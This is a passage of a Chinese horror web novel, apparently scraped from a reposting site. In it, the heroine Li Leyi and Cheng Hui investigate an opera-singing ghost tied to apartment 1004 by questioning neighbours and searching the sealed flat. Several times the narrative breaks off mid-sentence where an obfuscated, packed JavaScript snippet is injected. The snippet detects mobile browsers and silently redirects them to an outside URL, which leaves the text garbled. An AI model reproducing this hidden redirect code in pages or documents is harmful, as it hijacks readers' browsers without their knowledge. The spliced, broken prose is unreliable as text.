但梨乐一不肯放弃,她觉得301的女生早上受到了惊吓,心理防线比别人要脆弱一些,说不定多磨磨就什么都说了,所以她转头就去敲了301房间的门。 成晖看出她要做什么,跟在她身后。 “咚咚咚。” 梨乐一礼貌地敲响了房间门。 …… “咚咚咚。”梨乐一继续敲门。 门内传来细微的脚步声,但门依旧没有开,门里也没有人说话。 梨乐一放下手,想了想温声开口道:“你早上才经历过那件事情,现在应该很害怕吧,与其一个人待着,不如让我们进去陪你说说话。” 说完之后,梨乐一便站在门口静静地等待着。 她早晨的时候注意过,女生从始至终都是一个人坐在地上,包括后面离开,也是一个人拖着被吓软的腿慢慢走回去,屋内并没有其他人出来接她,所以女生是一个人居住。 很快,那阵脚步声靠近了,门打开,女生探出半个脑袋,小心翼翼地打量着梨乐一和成晖,犹豫着道:“你们是想来打听1004发生过什么吧?” 梨乐一冲女生笑笑,也不跟女生兜圈子:“嗯,我们是真的很好奇1004到底发生过什么,昨天晚上又为什么会死人。” “你也住在这里,弄清楚楼内【怨】……鬼魂作乱的真相,也能够帮助解开那个‘夜半歌声’的诅咒不是吗?毕竟鬼魂又开始杀人了,不知道什么时候就会轮到我们。” 女生闻言面色变得更加苍白,她垂眸想了一会,侧身让到一边:“你们进来吧。” 4. 情终 女生给梨乐一和成晖一人倒了一杯热水,而后在他们对面坐下。相互简单介绍了一番后,梨乐一得知女生叫小南。 小南似乎还沉浸在早晨那惊悚的一幕里无法自拔,整个人看上去十分憔悴:“我搬来的晚,很多事情我都不清楚,也许帮不了你们太多。” 梨乐一:“没关系,你愿意把你知道的告诉我们,我们就已经很感激了。” 小南喝了一口水,眼神渐渐变得飘忽,像是陷入了回忆里。 “我是在三年前搬过来的,那时候1004住着一个男人。关于男人的事情,我都是听楼里的人说的,男人曾有一个妻子,是和他一起搬到这里来的。” “只不过我搬来的时候,男人的妻子已经死了。我坐电梯的时候碰见过几次男人,他看上去很瘦也很憔悴。他们都说男人是因为妻子的死亡受到打击太大,接受不了才会变成这样的。” “没过多久,男人就因为太思念他的妻子,跳楼自|杀了。” 小南抿了抿唇,又补充道:“我不确定男人是不是为了女人殉情,但楼里的人都是这么说的。” 梨乐一听了小南的话,问道:“那晚上楼里的唱戏声是从什么时候出现的?” 小南听到“唱戏声”三个字,整个人不自觉地一抖,她的手紧紧握住杯子:“在男人跳楼之后没多久出现的。” 梨乐一精准抓住话中的重点:“唱戏声是在男人死后出现的?” 小南点头。 梨乐一若有所思:“所以,夜晚在楼里唱戏的鬼魂其实是住在1004的男人?” 小南手抖得厉害,杯子里滚烫的热水漾出来,溅在她的手背上她也没有察觉:“我不知道,也许是吧。” 梨乐一若有所思。 根据小南所说,1004里的女主人在她搬来这栋楼之前便已经去世了,女人死的时候,楼内并没有出现唱戏声,一切都还很正常,是在男人为女人殉情之后楼里才开始出现唱戏声的。 所以,夜晚在楼里唱戏的很有可能是男人的【怨】。 她和成晖对视一眼,均在彼此的眼中看到了疑惑。 很奇怪,怎么想都觉得奇怪。 成晖沉吟片刻,开口问道:“那你知道1004女人是怎么死的吗?” 小南摇头:“不知道,我问过902的大婶,但她让我少管这些事情,知道越少越好,就没有给我说。” 杯子里的水很烫,梨乐一盯着杯中袅袅上升的烟雾出神。 根据小南所说,男人的执念是他的妻子,他深爱并怀念着死去的妻子,才会在妻子离去后日渐憔悴,没过多久便也随着妻子去了。 既然如此,男人的执念又为什么会形成【怨】,终日游荡在楼内,还会在深夜唱戏曲杀人? 男人的执念难道不应该在他为妻子殉情的那一刻便消散了吗? 如果半夜在楼里唱戏的真是男人的【怨】,那梨乐一觉得男人的死或许不止殉情这么简单。 毕竟副本刚开始给出的卦象也显示,【怨】来自于内部矛盾,是男人生前和女人之间产生了什么矛盾吗? 梨乐一正琢磨着,余光瞥见小南缩在座位上,害怕到发抖的样子,于心不忍地问道:“既然你这么害怕,为什么不搬离这里?” 小南闻言猛地抬眸看向梨乐一,漆黑的瞳孔里倒映着深深的恐惧:“走不了。” “在男人死后,无论是新搬进来的人还是原本就住在这栋楼里的人,都走不了了。” 梨乐一心头一跳,连忙追问:“为什么说走不了,是发生了什么事吗?” “是……”小南深吸了一口气,继续道,“当年男人跳楼后不久,楼内半夜突然响起唱戏声,我听到了,但因为太困就没有起床去看,也……也幸好我没有出去看。” “因为……隔天早上,有一个住户就被发现死在了自家的门口,他应该是开门看见了鬼魂,想往家里跑的时候,被鬼抓住了……” “但那个时候,大家还不知道那名住户的死因和晚上的唱戏声有关,以为楼里混进了什么杀人犯。大家报了警,查了监控,结果发现当天晚上并没有人外人出入楼内,那名住户的死最后就以自|sha草草结案。” “再后来,楼里陆陆续续又死了几名住户,且都是在唱戏声出现的那个晚上死的。那些人要么死在电梯里,要么死在楼道,大家才开始怀疑这一系列事情和那唱戏声有关。” “大家都很害怕,所以当时楼内的租户基本上都开始计划搬离这里,我和我隔壁的那个男生也是一样。那个男生当天晚上就去了酒店住,不过我因为当时手头比较紧,就决定在找到新房子前,将就在这里再住几个晚上。” “可是……可是……” 小南浑身上下开始剧烈地颤抖,眼泪也止不住地从眼眶里落下:“死了,都死了,那些搬出去住的人,一个晚上之内全都死完了……” 梨乐一没再问什么,起身坐到小南的旁边,轻拍她的背安慰。 小南哭了一会,情绪慢慢平复下来,她抬起一双哭得红通通的眼睛可怜巴巴地看着梨乐一:“我知道的都已经说完了,你们……” 梨乐一转头看着成晖:“你饿吗?我还没有吃早饭,说了这么会话有些饿了。” 小南“噌”地一下从椅子里站起来,往厨房走去:“有的有的,面包面条还是粥,我这里都有的。” 梨乐一非常不客气地靠在椅子里:“那就给我来一碗鸡蛋面吧,谢谢。” 说完还不忘记问对面的成晖:“你要吃什么?” 成晖正看着梨乐一出神,见她忽然扣到自己,才猛地回神,磕磕绊绊地道:“我我和你一样。” 厨房里很快飘出来煎鸡蛋的香气。 梨乐一已经开始思考起小南刚才话中的那些信息,成晖却有些呆滞地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对于这栋大楼深夜鬼魂唱戏的事情,玩家们始终理不出个头绪来。 梨乐一觉得他们还没有触碰到这个副本的关键信息,她沉吟片刻,似是想到了什么恐怖的事情,下一秒整个人便开始瑟瑟发抖起来:“也许,我们该去1004看看。” 众人你看看我,我看看你,一时间没有人开口附和梨乐一的话。 其实大家都知道1004房间里应该隐藏着什么重要的信息,只不过1004房间实在是太过诡异,光是那扇门就已经令人后背发凉,要是真进了屋,还不知道会遭遇些什么恐怖的事情。 梨乐一见状,死死咬着嘴唇,嗓音干涩地开口:“如果大家都不愿意,那我——”一个人去也是可以的。 “好,我陪你一起去。” 成晖看着梨乐一,坚定地开口道。 5. 情终 时隔一天再次上到十楼,梨乐一看到那扇朱红色大门时,内心不由自主升上来的恐惧只增不减。 这扇门给人的感觉实在是太诡异了,黑洞洞的猫眼之后,仿佛有什么东西正在窥伺着他们。 成晖走到门前,小心翼翼地撕下封条放在一边,而后专心地研究起1004门口挂着的那把大锁。 其余人虽然害怕,但是为了得到重要线索也不得不跟着梨乐一和成晖上来,因为他们担心梨乐一和成晖找到重要线索之后,不告诉他们或者欺骗他们。 “这门口挂着锁,我们要怎么进去啊?”缩在队伍最后的人问道。 “我来试试。” 梨乐一一边说着,一边朝门口走来。 成晖往旁边退一步,给她让位置。 就看见梨乐一从头上取下来一个黑色的发卡,然后对准锁孔,娴熟地捅了进去,成晖看得目瞪口呆:“你还会撬锁?” 梨乐一瞪圆了那双黑白分明的眼睛,看上去单纯又无辜:“我就是跟着电视剧里那些开锁师傅练了几次,没想到就学会了。” 其实不然,梨乐一从刚成为NPC那会就会开锁了,属于无师自通型。对此,她觉得应该是自己天资聪颖过人,无论什么都是一上手就会的原因。 没过多久,“咔哒”一声轻响,锁开了。 梨乐一将锁放到一边,又将发卡插|进大门的锁孔里,又是“咔哒”一声轻响,大门应声而开。 一股阴冷的风夹杂着霉味尘土味扑面而来,站位靠前的人不约而同地捂上了口鼻。 1004号房户型比梨乐一住的403号房要大许多,厨房就在玄关的左手边,玄关往里走是餐厅,再往里走便是客厅和阳台。 房间里很空,除了必要的桌子椅子沙发,多余一点东西也没有,相框摆件什么的通通没有,像是被人刻意收拾过,一点看不出曾经有人在这里生活过的痕迹。 站在门边观察了一会后,成晖见并没有什么异常的事情发生,便率先抬脚朝屋内走,梨乐一紧随其后。 长久未被人踏足的木地板踩上去咯吱作响,被厚厚灰尘掩盖的地板留下一串串歪歪扭扭的脚印。 阳光透过阳台的窗户落进屋内,却怎么也驱散不了似有若无萦绕在屋内的阴暗,空荡荡的房子给人的感觉像个冰窟。 众人正是神经紧绷、留意身边有无异常动静的时候,门边突然传来一声惊呼。 “哎,你在干什么?!” 梨乐一回头,就看见站在队伍最后的男人手上多出了一张黄色的符纸。 男人叫朱力栋,住在204号房,他见大家都看着自己,将符纸折起来装进自己裤兜,无所谓地道: “既然这符纸贴在门上,就肯定有它的作用,我撕一张下来看看怎么了,那不是还有几张吗?” 吼男人的女人叫做郝雯,住在202号房,她骂道:“万一那符纸是用来镇住房子里的什么东西的怎么办?你这么随随便便地把它撕下来,不怕把那个东西放出来吗?” 朱力栋:“我就撕了一张而已,门上不是还有几张嘛,你这人怎么这么计较。” “你——” 郝雯怒气上头,还想与朱力栋争论,住在302的涂莉拉住她:“这里不是吵架的地方。” 郝雯这才想起自己现在身处1004房间内,瞬间噤声。 已经走到客厅的成晖回身淡淡地看着朱力栋,意有所指地道:“大家最好不要乱动和1004有关的任何东西,我们现在掌握的信息不多,要是一不小心触碰到死亡条件就不好了。” 朱力栋轻嗤一声,没再多说什么。 他自从一年前进入【怨】后,在副本之外的时间里,除了了解卦象,还会去看一些和鬼神相关的书,也因此对符纸有些了解。 他刚才仔仔细细地将1004门上贴着的符纸研究了一遍,发现这些符纸并不是什么乱七八糟的邪符,而是镇宅符。 这也是为什么他刚才宁愿被大家骂,也要撕下符纸揣进兜里的缘故。 这张符纸,在关键时刻或许可以救他一命。 不过朱力栋并不打算把这一消息告诉给其他人,毕竟门上的符纸就那么几张,要是都被别人拿去了,他之后用什么。 一阵风从窗外吹进屋内,阳台和客厅之间的纱帘随即开始轻轻晃动,恍眼一看像是女人轻柔晃动的裙摆。 梨乐一不自觉地打了一个冷战。 她莫名觉得,屋内的温度好像比刚才进来的时候低了一些。 梨乐一环顾四周,并没有发现有什么异常的地方,她暗道或许是自己想多了,转而将视线放在面前的灰色沙发上。 沙发看上去是皮质的,保存的也比较完好,梨乐一看着看着便忍不住上手,手指在沙发上轻轻划过。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286475|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原来这是米白色的沙发。 梨乐一拍掉手上的灰,沿着沙发从左往右细细查看,不放过每一处角落。这么一看,还真看出了点什么来。 在沙发靠近阳台那处扶手的下方,梨乐一发现了几道凌乱的划痕。梨乐一抬起手,虚虚地在划痕上方比划了几下。 这些划痕很像是人用手指甲划出来的。 除此之外,客厅里的家具除了灰尘都没有什么明显的划痕或者掉漆,房屋主人生前应该很爱惜这些家具。 这几道划痕在这个房子显得突兀又奇怪。 “是有什么发现吗?” 成晖见梨乐一蹲在沙发旁边不动,走到她身边,随之也看到了沙发侧面的划痕。 他眸光一凝,凑近仔细查看:“这好像……” “啊——” 一声惨烈的尖叫自不远处响起,梨乐一立刻抬头看去,就看见沙发的另一边,一个女生跌坐在地面色惨白,像是见到了什么极度恐怖的事物。 她抬起手颤颤巍巍地指着走廊深处:“她、她、她……” “叫什么叫?”有胆子稍大的男玩家走上前,顺着女生手指的方向看去。 走廊有两人宽,一边是主卧和书房,另一边是次卧和卫生间,而走廊的尽头则是一面墙。 那面墙上悬挂着一张女人的照片。 照片只有颈部往上,女人一头乌黑的长发披散在胸前,冲镜头笑得温婉柔和,这应该就是1004房间那位死去的女主人了。 这张照片看上去像是女主人的遗照。 让人感到奇怪的是,照片明明只有上半身,却给人一种女人正站在走廊尽头处、微笑着看着他们的感觉。 男人被照片里的女人看得心里直发怵,但嘴上还是嘴硬道:“不就是遗照吗,瞎叫唤什么?万一招来什么东西怎么办?胆子这么小,你前面几个副本到底是怎么过来的?” 听到遗照二字时梨乐一心里咯噔一下,她一个箭步冲到走廊前,和那张照片里的女人四目相对。 “不对。” 照片中女人脸上的笑容看上去格外鲜活,仿佛下一秒就要从照片中走出来一般。 即便是副本里作死经验丰富的梨乐一,在和女人对视之后,后背都不由得被吓出了一层冷汗。 梨乐一视线紧紧地盯着那张照片:“我刚才进来的时候,走廊尽头没有挂照片。” 6. 情终 进屋搜查时,梨乐一经过走廊,无意间往走廊里扫去过一眼,她清楚地记得,走廊尽头的墙壁在那时并没有悬挂任何东西。 也就是说,这张照片是在他们进屋之后出现的。 最先发现照片的女生显然也知道这一点,所以才会被吓得跌坐在地,连话都说不出来。 不知道是不是错觉,梨乐一总觉得在自己说完话后,照片中女人嘴角扬起的弧度,似乎要比刚才更高一点了。 她抬脚往照片走,准备去仔细研究一番,身后,成晖突然大喝一声:“先出去!” 众人闻言纷纷从女人诡异的微笑里回神,急匆匆地朝门外走。 梨乐一有些可惜地看了眼女人的照片,回头扶起瘫坐在地上的女生,快速朝门口走去。 众人很快退出了1004房间,他们不敢在十楼久留,迅速下到一楼,直到走出大楼,刺眼的阳光洋洋洒洒地落在身上,驱散了从1004房间里带出的寒意,众人才终于停下脚步。 最先发现女人照片的人是住在801的刘默,她腿软地跌坐在地上,两眼无神地喃喃道:“怎么办?那个女鬼是不是盯上我们了?我们不该进去的,不该进去的……” 成晖叹了口气,安慰刘默道:“副本里不会设置必死的局,我们想要调查清楚【怨】的来历,就必须要进到1004房间,所以‘进入1004房间’一定不是死亡条件。” “不是……不是死亡条件……” 刘默机械地重复着成晖的话,看上去一时半会还无法从刚才的惊吓里走出来。 成晖转头看向从刚才起便一直没有说话的梨乐一。 梨乐一低垂着脑袋,从成晖的角度看过去,可以看见她纤长浓密的眼睫在微微颤动,薄薄的眼皮下能看见紫色的血管,给人一种脆弱易折的既视感。 成晖倾身,正准备询问梨乐一的状况,肩膀却突然被人狠狠一撞,一道黑影随即落在他和梨乐一中间。 他抬头,见撞自己的是一个年轻男生。 男生看上去年龄似乎比他小一点,个子却比他足足高出了半个头。男生额发有些长,半遮住他锋利的眉眼,但仍挡不住一双桃花眼半垂眼睫睨过来时,那股倨傲凌厉的压迫感。 男生背着一个黑色的双肩包,双手插兜散漫地站在成晖和梨乐一中间,对着成晖,薄唇轻启: “你挡道了。” 成晖:…… 他默默退到一边,男生视线又往梨乐一那边扫去,很快便收回,而后越过二人头也不回地走了。 成晖看着男生离开,才走到梨乐一身旁,温声询问道:“你没事吧?” 梨乐一正在琢磨那张照片和照片里的女人会跟夜晚的唱戏声有什么联系,对于刚才的小插曲并没有过多留意。 听到成晖的问话,她收起眼底无意识流露出的严肃,转而换上一副刚从惊吓中缓过神来的姿态。 “谢谢你,我没事。” 成晖没多问什么,只是拍了拍梨乐一的肩膀。 因为早晨在1004房间里的经历,大家在之后的寻找过程中,再没有人提起过十楼。 中午,梨乐一回到四楼,准备回屋随便吃点面包垫垫肚子,成晖叫住了她。 “梨乐一,你要不要……过来跟我一起吃午饭?” 成晖简单地报了几道自己的拿手菜,梨乐一听后毫不犹豫地点头:“那就麻烦你了,成大哥。” 成晖脸上表情僵硬一瞬,随即侧身让梨乐一进屋。 成晖做饭时,梨乐一便坐在餐桌边乖巧等着,她突然想起件事,开口问道:“成大哥,之前在1004,你看到沙发上的划痕时想说的话是什么?” 成晖:“……你叫我的名字就好了。” 不知道为什么,他听梨乐一叫自己成大哥时的语气,脑海中总是不受控制地浮现出长着大胡茬子的张飞叫大哥的画面。 怎么听怎么别扭。 成晖将最后一个香菜丸子放进锅里:“那些划痕,不像是不小心,或者是失手造成的。” 他回想着在沙发旁看到的景象,举起手在空中虚虚地比划了几下:“倒像是,一个人长年累月、死死抠住那一个地方形成的。” “确实。”梨乐一认可地点头,那么深的划痕,的确不是短短几天就能造成的。 划痕,突然出现的女人照片,关于1004的谜团就像滚雪球一样,随着他们调查的深入不减反增。 吃完午饭,梨乐一冷不丁问成晖道:“你进副本身上带钱了吗?” 成晖虽然不知道梨乐一问这个干什么,但还是老实地点了点头。 梨乐一冲他神秘一笑:“下午我们去逛超市吧。” 成晖以为梨乐一是想去买点生活必需品,却不想她居然买了一大袋散装鸡蛋,嘿咻嘿咻地拎回来之后,径直去到了九楼,902门口。 “叩叩。” 梨乐一敲响902的房间门:“姐姐,是我,我是楼下新搬来的住户,今天小区门口的超市鸡蛋促销,买一送一,抢的人可多了。我抢到了一些,特意给你送过来一半。” 早晨从小南的话里可以得知,902的大婶知道关于1004房间的不少信息,成晖本来还在头疼该如何让902的大婶开口,没想到梨乐一这边已经开始忽悠上了。 要知道许多上了年纪的大爷大妈们最不能抗拒的东西之一,就是超市打折促销的鸡蛋,902的门很快打开,大婶那张脸出现在门后。 “谢谢你,你有心了。” 大婶接过鸡蛋,梨乐一趁机挤进门内:“姐姐,你已经开始做饭了吗?好香啊,我不会做饭,能不能留下来跟你一起吃?” 在大婶犹豫的几秒钟里,梨乐一已经自来熟地蹬掉了鞋子,光脚踩在了瓷砖地板上。 拿人手软吃人嘴短的“法则”在哪里都适用,大妈才接受了梨乐一的鸡蛋,自然不好赶她走,只能从鞋柜里找出双拖鞋让她换上。 梨乐一趁机冲门外的成晖招招手:“成晖,还愣着干什么,赶紧进来呀,记得关门,免得一会蚊子该飞进来了。” 大婶:…… 进到屋内之后,梨乐一没有立刻问大婶1004的事情,而是在客厅左摸摸,右看看。 “姐姐,你这沙发是真皮的吧,摸上去真舒服,坐着更舒服。” “姐姐,你这个摆件真好看,在哪里买的?我也想去买一个。” “姐姐……” 梨乐一一口一个姐姐地叫着,902大婶有心想赶快找个借口打发走她和成晖,却因为梨乐一张口就来的夸赞变得有些晕乎乎的。 “姐姐,这是你儿子吗?长得真帅。” 梨乐一拿起摆在电视机柜子上的一张照片,里面是一个十七八岁、穿着校服的男生。 大婶见状脸色一变,上前一把从梨乐一手中抢下相框:“嗯。” 她细细擦拭着相框上的灰尘,眼神看向照片时满是温柔:“这是我的儿子。” 梨乐一脸上的笑收敛了些:“你既然有儿子,又为什么一个人住在这里?” 大婶居住的902内,只有一个人生活过的痕迹,包括门口地毯上摆放的鞋子也只有女式没有男式。 “我跟孩子他爸离婚了,五年前就离了。”大婶将相框摆回原位。 “那你想你的儿子吗?”梨乐一问。 “想,怎么可能不想,但是我现在……”大婶想到什么,欲言又止,“算了,说这些干什么,你们先坐,我去做饭。” “姐姐,你难道不想离开这里去找你的儿子吗?”梨乐一叫住大婶。 “姐姐,你就告诉我们1004曾经到底发生过什么吧。你难道想下半辈子一直待在这里,每天都过得提心吊胆,活在不知道什么时候就会死去的恐惧里,连最亲密的家人都不能联系的痛苦里吗?” 大婶背影猛地顿住。 良久,她缓缓转过身:“你们……是专门搬进来调查1004的事情的吗?” 梨乐一眼珠子一转,立刻顺着大婶的话坚定地回答道:“是。” 她又看了一眼身旁站着的成晖:“我们一定会调查清楚真相,把大家从诅咒中解救出来的。” 大婶犹豫片刻,叹了口气:“你们想问什么,问吧。” 梨乐一也不跟大婶瞎扯些什么有的没的了,直截了当地问道:“晚上在楼道里唱戏的鬼魂是1004的男主人吗?” 大婶扶着沙发慢慢坐下:“不是,晚上在楼道里唱戏的,是他的妻子。” 说着,大婶眼底突然流露出怨恨的神色:“这个女人活着不安生,死了也要到处祸害人!” 梨乐一倒是没有想到他们之前的猜测在大婶这里被全部推翻了,她和成晖对视一眼,走到大婶身边坐下。 “姐姐,你能给我说说,1004那对夫妻到底发生了什么事吗?” 大婶叹了口气:“小王他们是六年前搬来的……” 从大婶的讲述里,梨乐一得知住在1004的那对夫妻,男的名叫王力,女的名叫林棠。 王力很爱林棠,生活中对林棠无微不至,两个人去逛超市,就算东西多得拿不下了,王力都不舍得让林棠帮自己拿。 大婶经常会在电梯里碰见他们,就看见王力身上大包小包都挂满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但是后来王力公司经营不善倒闭了,他带着林棠搬来了这里,林棠估计是觉得跟着他不仅捞不着油水了,还得过一日三餐粗茶淡饭的普通日子,心里就不高兴了,反正我是从没见她给王力一个好脸色看。” 大婶说着,又开始替王力愤愤不平起来:“没钱怎么了,要我说啊,男人有钱没钱都差不多,会疼人才是真的,妹妹你现在有没有男朋友,要是没有的话,你……” “姐姐。” 梨乐一见话题越来越偏,赶忙往回拉:“林棠她是怎么死的啊?” 大婶原本高涨的情绪在听到这句话后瞬间冷却下来,眼中浮现出深深的恐惧。 林棠的死来得很突然。 一个再普通不过的晚上,戏曲声照常响起。 大婶忍不住冲到阳台上,冲1004的方向骂了几句,然后,她便听见一声破窗声,几秒钟之后—— “咚!” 有什么重物砸地的声音从楼下传来。 当世界静止的那几秒,她恍然间感觉周身的空气都被瞬间抽走,客厅里电视机发出的声音变得缓慢扭曲,整个人快要呼吸不上来,直到—— “啊——” “死人啦——” 说到这里,大婶的脸色已经差到了极点,成晖给她倒了杯温水,梨乐一则是安抚地轻拍大婶的肩膀,轻声问道: “那林棠的死……” “是自杀。” “林棠是跳楼自杀死的。” 大婶疲惫地抹了一把脸:“她根本就不爱王力,平时对他压根没有过好脸色,那天……大概是觉得这样的日子过着没意思,就……” 吃完晚饭,梨乐一和成晖从902房间离开。 大婶的讲述帮助他们解开了一些疑惑,但同时也让他们多出了许多疑惑。 夜晚在楼里唱戏的鬼魂是林棠,可在大婶的叙述中,梨乐一并没有发现任何有可能会让林棠生出执念的点。 结合副本一开始给出的卦象和大婶的话,林棠和王力之间存在着矛盾,这矛盾或许是因为王力公司破产而引起的。 林棠因为钱和王力在一起,自然也会因为钱而生出离开他的心思。 但如果林棠不爱王力,为什么不选择和他离婚,而是选择了跳楼zi杀这样极端的方式? 再者,zi杀对于林棠来说,应该算是一种解脱,那她死后又为什么变成【怨】,停留在世间,久久不愿离去? 她到底有什么执念? 她的执念,又和王力有关系吗? 7. 情终 回到四楼,梨乐一发现小南正一脸紧张地站在自己房间门口等着自己。 见梨乐一回来,小南立刻迎了上来:“乐一姐。” 梨乐一:“怎么了?” 小南:“我刚想起来,我早上还漏掉了一件事情。” 梨乐一一边开门一边问:“什么事?” 门开,梨乐一邀请小南进屋慢慢聊,小南紧张地环顾一圈四周后,摇头拒绝:“不用,天快黑了,我把这件事情告诉你就得回去了。” “好,你说。”梨乐一倚在门框上,成晖也站在402的门口看着小南。 小南:“我想起来,在男人死的前几天,我曾在楼道里遇见过他。” “那天电梯坏了,我下班回来只能走楼梯,结果发现1004的那个男人就蹲在一楼楼梯间的角落。” “他那个时候精神看上去已经很不正常了,一个人蹲在那里嘴里不停地念叨着什么‘你死了就死了,为什么不愿意放过我’之类的话。” “我害怕男人发起疯来会做什么过激的事情,就没敢在那里多留,赶紧离开了。而那件事情后没过两天,男人就跳楼zi杀了。” 小南这段话看似没头没尾,实际却替梨乐一解开了一个疑惑。 那就是林棠的执念,或许和王力有关。 结合902大婶讲述的那些信息,难道,林棠是恨王力没有给自己想要的生活,所以死后执念才化作【怨】缠上了王力? 可这也不对啊。 王力已经死了,如果林棠的【怨】真是因他而生,那在他死去后,也早就应该消散了,而不是一直留在这栋楼里,始终不愿意离去。 “乐一姐,”小南凑到梨乐一的耳边,悄声说道,“我感觉那个男人不太像楼里人说的那样,很爱他老婆。” “因为如果换做是我的话,我的爱人在死后回来找我,我的第一反应是会开心,而不是蹲在角落里害怕的瑟瑟发抖。” 梨乐一闻言,看向小南的眼神里多了几分诧异,小姑娘口味挺重啊,胆子也挺大。 但她对小南的话不敢苟同。 毕竟缠上王力的【怨】已经没有了生前的记忆,只余下执念,根本不能将其视作林棠。 更何况,林棠生前便不喜欢王力,死后生出的执念怕是会更加偏激,王力被其折磨到精神失常也不是不可能的事。 梨乐一正琢磨着小南的话,那股阴冷森寒的窥视感再次出现,她猛地抬头看向四周。 小南被她突然的动作吓了一跳:“乐、乐一姐,怎么了?” 窥视感在梨乐一抬头的瞬间便消失了,她不确定这究竟是自己的错觉还是真的有人在暗中窥视他们,正想开口说些什么,电梯门开,404的男生从里面大步走出来。 他仍穿着昨天的那身篮球服,视线淡淡地从梨乐一身上扫过,没有停留。至于小南和成晖,他则是连个正眼都懒得给。 男生走到404门口,掏出钥匙开门。 小南莫名有些被男生的气场怵到,凑到梨乐一耳边低声说:“乐一姐,我要说的就是这些,我先回去了。” 梨乐一跟小南道别,而后看着她从楼道离开。 “梨乐一,”成晖出声叫她,“趁着现在天还没有黑,我们赶紧把今天一天得到的信息整理一下吧。” 梨乐一点头,随即关上门准备去成晖屋里。 “砰!” 一声关门声重重的在背后响起,梨乐一惊魂未定地回头,只看见404紧闭的大门。 梨乐一回过头,小声地嘟囔了一句“哪来那么大的火气”,抬脚走进成晖屋内。 在二人讨论信息的过程中,成晖偶尔会有一种梨乐一并不需要自己的帮助,反而是自己在被她一一叮嘱的感觉。 眼看外面天就快黑了,梨乐一起身离开,成晖想要送她,却被她制止。 “你休息吧,我自己回去就可以了,反正离得也不远就在隔壁。” 梨乐一今天这么积极努力的收集信息,除了想找到新的作死办法之外,还想着能帮成晖更多地找到和这个副本里的【怨】有关的线索。 她相信以他们今天收集到的信息,成晖最后一定可以解开谜题,成功离开这个副本。 大门关上之前,梨乐一朝成晖摆摆手,嘴唇微微开合,无声地朝他道别。 这次是真的再见啦。 402大门关上,梨乐一转身跟从楼道里走出来的404住户对上视线。 男生已经换下了球衣,穿着简单的白T黑色运动裤,头发看上去有些湿,似乎刚洗完澡,随着他的走近,梨乐一闻到了一股冷冽清爽的薄荷味道。 梨乐一咧着一口大白牙,语气熟稔地和男生寒暄道:“刚丢完垃圾回来啊。” 男生眉眼冷厉,浑身上下都散发着生人勿进的气息,他径直走到门前拉开虚掩着的门:“我跟你很熟么?” 梨乐一:…… 从昨晚到今晚,连着碰了两鼻子灰的梨乐一终于放弃了跟404男生攀谈的心思,默默掏出钥匙开门。 “你们在查1004的事情?”男生冷不丁开口问。 梨乐一诧异地转头看向男生:“怎么,你知道1004发生过的事情,你愿意告诉我?” 男生冷笑:“不知道,我只是想劝你们歇了这份心思,别作死把自己搭进去。之前也有过几波人跟你们一样,想要查出1004的真相离开这里。” “但最后无一例外,他们都死了。” 梨乐一闻言瞳孔骤然紧缩,望着男生久久说不出话。 副本内的NPC在玩家离开或者副本结束后,是不会保留任何有关于副本玩家的记忆的。 也就只有像梨乐一这样,存在于副本之外,混迹于玩家之中的NPC才会保留副本任务和玩家相关的记忆。 住在404的男生明明是副本内的NPC,可听他话里的意思,他似乎还保留着关于之前进入副本的玩家记忆。 他为什么会记得? 男生并不准备向梨乐一多解释些什么,进屋就要关上门。 “你不想结束这一切吗?”梨乐一在门彻底关上之前问道。 回应她的只有重重的关门声。 - 楼内的灯一盏接一盏地暗下去,最后归于黑暗。夜,深了。 四楼,403的房门在黑暗中慢慢打开,随后一个毛茸茸的脑袋从门后探了出来。 确定没有人发现自己之后,梨乐一走出房间,轻手轻脚地关上门。 因为昨天晚上许宗良在唱戏声响起时离开屋子死去,梨乐一的plan.A作死计划不能再用了,所以梨乐一今天晚上准备进到1004房间里去试试运气。 运气好的话,那张女人的照片也许还挂在走廊里。 出于她敏锐的职业嗅觉,梨乐一觉得那个照片应该是死亡条件之一,就是不知道触发条件是什么。 刚才在屋里,她事先预想了几个作死方案,准备待会去1004房间里一个一个的试。 梨乐一为了不惊扰到隔壁的成晖,踮起脚尖,做贼似的往楼道走去。 “你说的结束,就是在明知晚上外面有危险的情况下,还要冒着风险出门找死?” 男生讥讽的声音在黑暗中响起,梨乐一虎躯一震,心脏狂跳,僵硬地转头看向身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286477|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。 和昨晚上差不多的场景出现在眼前,404的门不知道什么时候开了,一点点微弱的月光从屋内透出来,勾勒出倚在门边的那道高挑身影。 